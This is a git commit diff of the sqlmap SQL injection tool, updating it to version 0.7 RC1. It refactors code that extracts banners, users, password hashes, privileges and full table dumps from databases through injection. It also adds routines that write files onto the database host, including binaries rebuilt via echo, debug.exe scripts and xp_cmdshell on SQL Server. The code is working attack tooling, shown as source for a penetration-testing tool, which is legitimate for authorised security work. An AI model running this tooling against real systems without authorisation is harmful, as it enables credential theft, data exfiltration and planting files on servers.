Updated to sqlmap 0.7 release candidate 1

This commit is contained in:
Bernardo Damele
2009-04-22 11:48:07 +00:00
parent b997df740a
commit 8c0ac767f4
129 changed files with 8386 additions and 1388 deletions

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -29,6 +29,7 @@ import re
from lib.core.agent import agent
from lib.core.common import getRange
from lib.core.common import parsePasswordHash
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -39,12 +40,14 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setOs
from lib.core.settings import SQL_STATEMENTS
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest
@@ -55,43 +58,79 @@ class Enumeration:
"""
def __init__(self, dbms):
self.has_information_schema = False
kb.data.has_information_schema = False
kb.data.banner = ""
kb.data.currentUser = ""
kb.data.currentDb = ""
kb.data.cachedUsers = []
kb.data.cachedUsersPasswords = {}
kb.data.cachedUsersPrivileges = {}
kb.data.cachedDbs = []
kb.data.cachedTables = {}
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
self.banner = ""
self.currentUser = ""
self.currentDb = ""
self.cachedUsers = []
self.cachedUsersPassword = {}
self.cachedUsersPrivileges = {}
self.cachedDbs = []
self.cachedTables = {}
self.cachedColumns = {}
self.dumpedTable = {}
temp.inference = queries[dbms].inference
temp.inference = queries[dbms].inference
def forceDbmsEnum(self):
pass
def getPrematureBanner(self, query):
if conf.getBanner:
self.banner = inject.getValue(query)
def getVersionFromBanner(self):
if "dbmsVersion" in kb.bannerFp:
return
bannerParser(self.banner)
infoMsg = "detecting back-end DBMS version from its banner"
logger.info(infoMsg)
if kb.dbms == "MySQL":
first, last = 1, 6
elif kb.dbms == "PostgreSQL":
first, last = 12, 6
elif kb.dbms == "Microsoft SQL Server":
first, last = 29, 9
else:
raise sqlmapUnsupportedFeatureException, "unsupported DBMS"
query = queries[kb.dbms].substring % (queries[kb.dbms].banner, first, last)
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
def getBanner(self):
if not conf.getBanner:
return
kb.dbmsDetected = True
infoMsg = "fetching banner"
logger.info(infoMsg)
query = queries[kb.dbms].banner
if not kb.data.banner:
if conf.unionUse or conf.unionTest:
dumper.string("valid union", unionTest())
if not self.banner:
self.banner = inject.getValue(query)
query = queries[kb.dbms].banner
kb.data.banner = inject.getValue(query)
bannerParser(kb.data.banner)
return self.banner
if conf.os and conf.os == "windows":
kb.bannerFp["type"] = set([ "Windows" ])
elif conf.os and conf.os == "linux":
kb.bannerFp["type"] = set([ "Linux" ])
elif conf.os:
kb.bannerFp["type"] = set([ "%s%s" % (conf.os[0].upper(), conf.os[1:]) ])
setOs()
return kb.data.banner
def getCurrentUser(self):
@@ -100,10 +139,10 @@ class Enumeration:
query = queries[kb.dbms].currentUser
if not self.currentUser:
self.currentUser = inject.getValue(query)
if not kb.data.currentUser:
kb.data.currentUser = inject.getValue(query)
return self.currentUser
return kb.data.currentUser
def getCurrentDb(self):
@@ -112,10 +151,10 @@ class Enumeration:
query = queries[kb.dbms].currentDb
if not self.currentDb:
self.currentDb = inject.getValue(query)
if not kb.data.currentDb:
kb.data.currentDb = inject.getValue(query)
return self.currentDb
return kb.data.currentDb
def isDba(self):
@@ -124,9 +163,9 @@ class Enumeration:
query = agent.forgeCaseStatement(queries[kb.dbms].isDba)
self.isDba = inject.getValue(query)
kb.data.isDba = inject.getValue(query, unpack=False, charsetType=1)
return str(self.isDba == "1")
return kb.data.isDba == "1"
def getUsers(self):
@@ -136,9 +175,9 @@ class Enumeration:
rootQuery = queries[kb.dbms].users
condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) )
condition |= ( kb.dbms == "MySQL" and not self.has_information_schema )
condition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema )
if conf.unionUse:
if kb.unionPosition:
if condition:
query = rootQuery["inband"]["query2"]
else:
@@ -146,9 +185,9 @@ class Enumeration:
value = inject.getValue(query, blind=False)
if value:
self.cachedUsers = value
kb.data.cachedUsers = value
if not self.cachedUsers:
if not kb.data.cachedUsers:
infoMsg = "fetching number of database users"
logger.info(infoMsg)
@@ -156,7 +195,7 @@ class Enumeration:
query = rootQuery["blind"]["count2"]
else:
query = rootQuery["blind"]["count"]
count = inject.getValue(query, inband=False, expected="int")
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of database users"
@@ -172,13 +211,13 @@ class Enumeration:
user = inject.getValue(query, inband=False)
if user:
self.cachedUsers.append(user)
kb.data.cachedUsers.append(user)
if not self.cachedUsers:
if not kb.data.cachedUsers:
errMsg = "unable to retrieve the database users"
raise sqlmapNoneDataException, errMsg
return self.cachedUsers
return kb.data.cachedUsers
def getPasswordHashes(self):
@@ -192,7 +231,7 @@ class Enumeration:
logger.info(infoMsg)
if conf.unionUse:
if kb.unionPosition:
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["inband"]["query2"]
else:
@@ -223,22 +262,22 @@ class Enumeration:
password = parsePasswordHash(password)
if not self.cachedUsersPassword.has_key(user):
self.cachedUsersPassword[user] = [password]
if not kb.data.cachedUsersPasswords.has_key(user):
kb.data.cachedUsersPasswords[user] = [password]
else:
self.cachedUsersPassword[user].append(password)
kb.data.cachedUsersPasswords[user].append(password)
if not self.cachedUsersPassword:
if not kb.data.cachedUsersPasswords:
if conf.user:
if "," in conf.user:
users = conf.user.split(",")
else:
users = [conf.user]
else:
if not len(self.cachedUsers):
if not len(kb.data.cachedUsers):
users = self.getUsers()
else:
users = self.cachedUsers
users = kb.data.cachedUsers
retrievedUsers = set()
@@ -260,7 +299,7 @@ class Enumeration:
query = rootQuery["blind"]["count2"] % user
else:
query = rootQuery["blind"]["count"] % user
count = inject.getValue(query, inband=False, expected="int")
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "unable to retrieve the number of password "
@@ -287,7 +326,7 @@ class Enumeration:
passwords.append(password)
if passwords:
self.cachedUsersPassword[user] = passwords
kb.data.cachedUsersPasswords[user] = passwords
else:
warnMsg = "unable to retrieve the password "
warnMsg += "hashes for user '%s'" % user
@@ -295,12 +334,12 @@ class Enumeration:
retrievedUsers.add(user)
if not self.cachedUsersPassword:
if not kb.data.cachedUsersPasswords:
errMsg = "unable to retrieve the password "
errMsg += "hashes for the database users"
raise sqlmapNoneDataException, errMsg
return self.cachedUsersPassword
return kb.data.cachedUsersPasswords
def __isAdminFromPrivileges(self, privileges):
@@ -314,11 +353,11 @@ class Enumeration:
# In MySQL >= 5.0 the SUPER privilege means
# that the user is DBA
dbaCondition |= ( kb.dbms == "MySQL" and self.has_information_schema and "SUPER" in privileges )
dbaCondition |= ( kb.dbms == "MySQL" and kb.data.has_information_schema and "SUPER" in privileges )
# In MySQL < 5.0 the super_priv privilege means
# that the user is DBA
dbaCondition |= ( kb.dbms == "MySQL" and not self.has_information_schema and "super_priv" in privileges )
dbaCondition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema and "super_priv" in privileges )
return dbaCondition
@@ -372,8 +411,8 @@ class Enumeration:
( 3, "catupd" ),
)
if conf.unionUse:
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.unionPosition:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["inband"]["query2"]
condition = rootQuery["inband"]["condition2"]
else:
@@ -386,7 +425,7 @@ class Enumeration:
query += " WHERE "
# NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host'
if kb.dbms == "MySQL" and self.has_information_schema:
if kb.dbms == "MySQL" and kb.data.has_information_schema:
queryUser = "%" + conf.user + "%"
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
else:
@@ -400,7 +439,7 @@ class Enumeration:
# NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host'
if kb.dbms == "MySQL" and self.has_information_schema:
if kb.dbms == "MySQL" and kb.data.has_information_schema:
queryUser = "%" + conf.user + "%"
query += " WHERE %s LIKE '%s'" % (condition, queryUser)
else:
@@ -431,12 +470,12 @@ class Enumeration:
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ):
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and kb.data.has_information_schema ):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif kb.dbms == "MySQL" and not self.has_information_schema:
elif kb.dbms == "MySQL" and not kb.data.has_information_schema:
for position, mysqlPriv in mysqlPrivs:
if count == position and privilege.upper() == "Y":
privileges.add(mysqlPriv)
@@ -444,16 +483,16 @@ class Enumeration:
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
if self.cachedUsersPrivileges.has_key(user):
self.cachedUsersPrivileges[user].extend(privileges)
if kb.data.cachedUsersPrivileges.has_key(user):
kb.data.cachedUsersPrivileges[user].extend(privileges)
else:
self.cachedUsersPrivileges[user] = list(privileges)
kb.data.cachedUsersPrivileges[user] = list(privileges)
if not self.cachedUsersPrivileges:
if not kb.data.cachedUsersPrivileges:
conditionChar = "="
if conf.user:
if kb.dbms == "MySQL" and self.has_information_schema:
if kb.dbms == "MySQL" and kb.data.has_information_schema:
conditionChar = " LIKE "
if "," in conf.user:
@@ -475,17 +514,17 @@ class Enumeration:
users = [ conf.user ]
else:
if not len(self.cachedUsers):
if not len(kb.data.cachedUsers):
users = self.getUsers()
else:
users = self.cachedUsers
users = kb.data.cachedUsers
retrievedUsers = set()
for user in users:
unescapedUser = None
if kb.dbms == "MySQL" and self.has_information_schema:
if kb.dbms == "MySQL" and kb.data.has_information_schema:
unescapedUser = unescaper.unescape(user, quote=False)
if user in retrievedUsers:
@@ -500,13 +539,13 @@ class Enumeration:
else:
queryUser = user
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["blind"]["count2"] % queryUser
elif kb.dbms == "MySQL" and self.has_information_schema:
elif kb.dbms == "MySQL" and kb.data.has_information_schema:
query = rootQuery["blind"]["count"] % (conditionChar, queryUser)
else:
query = rootQuery["blind"]["count"] % queryUser
count = inject.getValue(query, inband=False, expected="int")
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "unable to retrieve the number of "
@@ -521,9 +560,9 @@ class Enumeration:
indexRange = getRange(count)
for index in indexRange:
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["blind"]["query2"] % (queryUser, index)
elif kb.dbms == "MySQL" and self.has_information_schema:
elif kb.dbms == "MySQL" and kb.data.has_information_schema:
query = rootQuery["blind"]["query"] % (conditionChar, queryUser, index)
else:
query = rootQuery["blind"]["query"] % (queryUser, index)
@@ -546,12 +585,12 @@ class Enumeration:
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ):
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and kb.data.has_information_schema ):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif kb.dbms == "MySQL" and not self.has_information_schema:
elif kb.dbms == "MySQL" and not kb.data.has_information_schema:
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
@@ -570,11 +609,11 @@ class Enumeration:
# In MySQL < 5.0 we break the cycle after the first
# time we get the user's privileges otherwise we
# duplicate the same query
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
break
if privileges:
self.cachedUsersPrivileges[user] = list(privileges)
kb.data.cachedUsersPrivileges[user] = list(privileges)
else:
warnMsg = "unable to retrieve the privileges "
warnMsg += "for user '%s'" % user
@@ -582,16 +621,16 @@ class Enumeration:
retrievedUsers.add(user)
if not self.cachedUsersPrivileges:
if not kb.data.cachedUsersPrivileges:
errMsg = "unable to retrieve the privileges "
errMsg += "for the database users"
raise sqlmapNoneDataException, errMsg
return ( self.cachedUsersPrivileges, areAdmins )
return ( kb.data.cachedUsersPrivileges, areAdmins )
def getDbs(self):
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
warnMsg = "information_schema not available, "
warnMsg += "back-end DBMS is MySQL < 5. database "
warnMsg += "names will be fetched from 'mysql' database"
@@ -602,25 +641,25 @@ class Enumeration:
rootQuery = queries[kb.dbms].dbs
if conf.unionUse:
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.unionPosition:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["inband"]["query2"]
else:
query = rootQuery["inband"]["query"]
value = inject.getValue(query, blind=False)
if value:
self.cachedDbs = value
kb.data.cachedDbs = value
if not self.cachedDbs:
if not kb.data.cachedDbs:
infoMsg = "fetching number of databases"
logger.info(infoMsg)
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["blind"]["count2"]
else:
query = rootQuery["blind"]["count"]
count = inject.getValue(query, inband=False, expected="int")
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of databases"
@@ -629,24 +668,24 @@ class Enumeration:
indexRange = getRange(count)
for index in indexRange:
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["blind"]["query2"] % index
else:
query = rootQuery["blind"]["query"] % index
db = inject.getValue(query, inband=False)
if db:
self.cachedDbs.append(db)
kb.data.cachedDbs.append(db)
if not self.cachedDbs:
if not kb.data.cachedDbs:
errMsg = "unable to retrieve the database names"
raise sqlmapNoneDataException, errMsg
return self.cachedDbs
return kb.data.cachedDbs
def getTables(self):
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
@@ -660,7 +699,7 @@ class Enumeration:
rootQuery = queries[kb.dbms].tables
if conf.unionUse:
if kb.unionPosition:
query = rootQuery["inband"]["query"]
condition = rootQuery["inband"]["condition"]
@@ -681,22 +720,22 @@ class Enumeration:
if value:
for db, table in value:
if not self.cachedTables.has_key(db):
self.cachedTables[db] = [table]
if not kb.data.cachedTables.has_key(db):
kb.data.cachedTables[db] = [table]
else:
self.cachedTables[db].append(table)
kb.data.cachedTables[db].append(table)
if not self.cachedTables:
if not kb.data.cachedTables:
if conf.db:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
else:
if not len(self.cachedDbs):
if not len(kb.data.cachedDbs):
dbs = self.getDbs()
else:
dbs = self.cachedDbs
dbs = kb.data.cachedDbs
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
@@ -710,7 +749,7 @@ class Enumeration:
logger.info(infoMsg)
query = rootQuery["blind"]["count"] % db
count = inject.getValue(query, inband=False, expected="int")
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "unable to retrieve the number of "
@@ -727,21 +766,21 @@ class Enumeration:
tables.append(table)
if tables:
self.cachedTables[db] = tables
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not self.cachedTables:
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException, errMsg
return self.cachedTables
return kb.data.cachedTables
def getColumns(self, onlyColNames=False):
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
@@ -770,7 +809,7 @@ class Enumeration:
rootQuery = queries[kb.dbms].columns
if conf.unionUse:
if kb.unionPosition:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
elif kb.dbms == "Oracle":
@@ -789,9 +828,9 @@ class Enumeration:
for column, colType in value:
columns[column] = colType
table[conf.tbl] = columns
self.cachedColumns[conf.db] = table
kb.data.cachedColumns[conf.db] = table
if not self.cachedColumns:
if not kb.data.cachedColumns:
infoMsg = "fetching number of columns "
infoMsg += "for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
@@ -804,7 +843,7 @@ class Enumeration:
elif kb.dbms == "Microsoft SQL Server":
query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl)
count = inject.getValue(query, inband=False, expected="int")
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of columns "
@@ -849,15 +888,15 @@ class Enumeration:
if columns:
table[conf.tbl] = columns
self.cachedColumns[conf.db] = table
kb.data.cachedColumns[conf.db] = table
if not self.cachedColumns:
if not kb.data.cachedColumns:
errMsg = "unable to retrieve the columns "
errMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
return self.cachedColumns
return kb.data.cachedColumns
def dumpTable(self):
@@ -882,19 +921,19 @@ class Enumeration:
if conf.col:
colList = conf.col.split(",")
self.cachedColumns[conf.db] = {}
self.cachedColumns[conf.db][conf.tbl] = {}
kb.data.cachedColumns[conf.db] = {}
kb.data.cachedColumns[conf.db][conf.tbl] = {}
for column in colList:
self.cachedColumns[conf.db][conf.tbl][column] = None
elif not self.cachedColumns:
if kb.dbms == "MySQL" and not self.has_information_schema:
kb.data.cachedColumns[conf.db][conf.tbl][column] = None
elif not kb.data.cachedColumns:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
self.cachedColumns = self.getColumns(onlyColNames=True)
kb.data.cachedColumns = self.getColumns(onlyColNames=True)
colList = self.cachedColumns[conf.db][conf.tbl].keys()
colList = kb.data.cachedColumns[conf.db][conf.tbl].keys()
colList.sort(key=lambda x: x.lower())
colString = ", ".join(column for column in colList)
@@ -905,7 +944,7 @@ class Enumeration:
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
if conf.unionUse:
if kb.unionPosition:
if kb.dbms == "Oracle":
query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
else:
@@ -919,8 +958,8 @@ class Enumeration:
for column in colList:
colLen = len(column)
if not self.dumpedTable.has_key(column):
self.dumpedTable[column] = { "length": 0, "values": [] }
if not kb.data.dumpedTable.has_key(column):
kb.data.dumpedTable[column] = { "length": 0, "values": [] }
for entry in entries:
if isinstance(entry, str):
@@ -931,14 +970,14 @@ class Enumeration:
colEntryLen = len(colEntry)
maxLen = max(colLen, colEntryLen)
if maxLen > self.dumpedTable[column]["length"]:
self.dumpedTable[column]["length"] = maxLen
if maxLen > kb.data.dumpedTable[column]["length"]:
kb.data.dumpedTable[column]["length"] = maxLen
self.dumpedTable[column]["values"].append(colEntry)
kb.data.dumpedTable[column]["values"].append(colEntry)
index += 1
if not self.dumpedTable:
if not kb.data.dumpedTable:
infoMsg = "fetching number of "
if conf.col:
infoMsg += "columns '%s' " % colString
@@ -950,7 +989,7 @@ class Enumeration:
query = rootQuery["blind"]["count"] % conf.tbl.upper()
else:
query = rootQuery["blind"]["count"] % (conf.db, conf.tbl)
count = inject.getValue(query, inband=False, expected="int")
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of "
@@ -961,7 +1000,7 @@ class Enumeration:
if conf.dumpAll:
logger.warn(errMsg)
return self.dumpedTable
return kb.data.dumpedTable
else:
raise sqlmapNoneDataException, errMsg
@@ -1001,15 +1040,15 @@ class Enumeration:
else:
length = lengths[column]
self.dumpedTable[column] = {
kb.data.dumpedTable[column] = {
"length": length,
"values": columnEntries,
}
entriesCount = len(columnEntries)
if self.dumpedTable:
self.dumpedTable["__infos__"] = {
if kb.data.dumpedTable:
kb.data.dumpedTable["__infos__"] = {
"count": entriesCount,
"table": conf.tbl,
"db": conf.db
@@ -1023,32 +1062,32 @@ class Enumeration:
if conf.dumpAll:
logger.warn(errMsg)
return self.dumpedTable
return kb.data.dumpedTable
else:
raise sqlmapNoneDataException, errMsg
return self.dumpedTable
return kb.data.dumpedTable
def dumpAll(self):
if kb.dbms == "MySQL" and not self.has_information_schema:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
conf.db = None
conf.tbl = None
conf.col = None
self.cachedDbs = []
self.cachedTables = self.getTables()
conf.db = None
conf.tbl = None
conf.col = None
kb.data.cachedDbs = []
kb.data.cachedTables = self.getTables()
for db, tables in self.cachedTables.items():
for db, tables in kb.data.cachedTables.items():
conf.db = db
for table in tables:
conf.tbl = table
self.cachedColumns = {}
self.dumpedTable = {}
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
data = self.dumpTable()
@@ -1071,20 +1110,22 @@ class Enumeration:
break
if selectQuery == True:
message = "do you want to retrieve the SQL statement output? "
message += "[Y/n] "
getOutput = readInput(message, default="Y")
if not getOutput or getOutput in ("y", "Y"):
infoMsg = "fetching %s query output: '%s'" % (sqlType, query)
logger.info(infoMsg)
output = inject.getValue(query, fromUser=True)
return output
else:
if kb.stackedTest == None:
stackedTest()
if kb.stackedTest == False:
warnMsg = "the web application does not support "
warnMsg += "stacked queries"
logger.warn(warnMsg)
return None
else:
if sqlType:
@@ -1114,7 +1155,7 @@ class Enumeration:
query = None
try:
query = raw_input("sql> ")
query = raw_input("sql-shell> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -24,7 +24,19 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import binascii
import os
from lib.core.agent import agent
from lib.core.common import dataToOutFile
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from lib.techniques.outband.stacked import stackedTest
class Filesystem:
@@ -32,11 +44,290 @@ class Filesystem:
This class defines generic OS file system functionalities for plugins.
"""
def __init__(self):
self.fileTblName = "sqlmapfile"
self.tblField = "data"
def __unbase64String(self, base64Str):
unbase64Str = ""
if isinstance(base64Str, (list, tuple, set)):
for chunk in base64Str:
if isinstance(chunk, (list, tuple, set)):
chunk = chunk[0]
unbase64Str += "%s\n" % chunk.decode("base64")
else:
unbase64Str = "%s\n" % base64Str.decode("base64")
return unbase64Str
def __unhexString(self, hexStr):
unhexStr = ""
if isinstance(hexStr, (list, tuple, set)):
for chunk in hexStr:
if isinstance(chunk, (list, tuple, set)):
chunk = chunk[0]
unhexStr += binascii.unhexlify(chunk)
else:
unhexStr = binascii.unhexlify(hexStr)
return unhexStr
def __binDataToScr(self, binaryData, chunkName):
"""
Called by Microsoft SQL Server plugin to write a binary file on the
back-end DBMS underlying file system
"""
fileLines = []
fileSize = len(binaryData)
lineAddr = 0x100
lineLen = 20
fileLines.append("n %s" % chunkName)
fileLines.append("rcx")
fileLines.append("%x" % fileSize)
fileLines.append("f 0100 %x 00" % fileSize)
for fileLine in range(0, len(binaryData), lineLen):
scrString = ""
for lineChar in binaryData[fileLine:fileLine+lineLen]:
strLineChar = binascii.hexlify(lineChar)
if not scrString:
scrString = "e %x %s" % (lineAddr, strLineChar)
else:
scrString += " %s" % strLineChar
lineAddr += len(lineChar)
fileLines.append(scrString)
fileLines.append("w")
fileLines.append("q")
return fileLines
def __checkWrittenFile(self, wFile, dFile, fileType):
if kb.dbms == "MySQL":
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
elif kb.dbms == "PostgreSQL":
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
elif kb.dbms == "Microsoft SQL Server":
self.createSupportTbl(self.fileTblName, self.tblField, "text")
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10)))
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
wFileSize = os.path.getsize(wFile)
logger.debug("checking if the %s file has been written" % fileType)
dFileSize = inject.getValue(lengthQuery, resumeValue=False, charsetType=2)
if dFileSize and dFileSize.isdigit():
infoMsg = "the file has been successfully written and "
infoMsg += "its size is %s bytes" % dFileSize
dFileSize = long(dFileSize)
if wFileSize == dFileSize:
infoMsg += ", same size as the local file '%s'" % wFile
else:
infoMsg += ", but the size differs from the local "
infoMsg += " file '%s' (%d bytes)" % (wFile, wFileSize)
logger.info(infoMsg)
else:
warnMsg = "it looks like the file has not been written, this "
warnMsg += "can occur if the DBMS process' user has no write "
warnMsg += "privileges in the destination path"
logger.warn(warnMsg)
def fileToSqlQueries(self, fcEncodedList):
"""
Called by MySQL and PostgreSQL plugins to write a file on the
back-end DBMS underlying file system
"""
counter = 0
sqlQueries = []
for fcEncodedLine in fcEncodedList:
if counter == 0:
sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine))
else:
updatedField = agent.simpleConcatQuery(self.tblField, fcEncodedLine)
sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField))
counter += 1
return sqlQueries
def fileEncode(self, fileName, encoding, single):
"""
Called by MySQL and PostgreSQL plugins to write a file on the
back-end DBMS underlying file system
"""
fcEncodedList = []
fp = open(fileName, "rb")
fcEncodedStr = fp.read().encode(encoding).replace("\n", "")
if single == False:
fcLength = len(fcEncodedStr)
if fcLength > 1024:
for i in range(0, fcLength, 1024):
string = ""
if encoding == "hex":
string += "0x"
string += fcEncodedStr[i:i+1024]
if encoding == "base64":
string = "'%s'" % string
fcEncodedList.append(string)
if not fcEncodedList:
if encoding == "hex":
fcEncodedStr = "0x%s" % fcEncodedStr
elif encoding == "base64":
fcEncodedStr = "'%s'" % fcEncodedStr
fcEncodedList = [ fcEncodedStr ]
return fcEncodedList
def updateBinChunk(self, binaryData, dFile, tmpPath):
"""
Called by Microsoft SQL Server plugin to write a binary file on the
back-end DBMS underlying file system
"""
randScr = "sqlmapfile%s.scr" % randomStr(lowercase=True)
chunkName = randomStr(lowercase=True)
fileScrLines = self.__binDataToScr(binaryData, chunkName)
forgedScrLines = []
cmd = ""
charCounter = 0
maxLen = 4096
logger.debug("generating binary file %s\%s, wait.." % (tmpPath, chunkName))
for scrLine in fileScrLines:
forgedScrLine = "echo %s " % scrLine
forgedScrLine += ">> %s\%s" % (tmpPath, randScr)
forgedScrLines.append(forgedScrLine)
for forgedScrLine in forgedScrLines:
cmd += "%s & " % forgedScrLine
charCounter += len(forgedScrLine)
if charCounter >= maxLen:
forgedCmd = self.xpCmdshellForgeCmd(cmd)
self.execCmd(forgedCmd)
cmd = ""
charCounter = 0
if cmd:
forgedCmd = self.xpCmdshellForgeCmd(cmd)
self.execCmd(forgedCmd)
commands = (
"cd %s" % tmpPath,
"debug < %s" % randScr,
"del /F %s" % randScr
)
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
self.execCmd(forgedCmd, silent=True)
return chunkName
def askCheckWrittenFile(self, wFile, dFile, fileType):
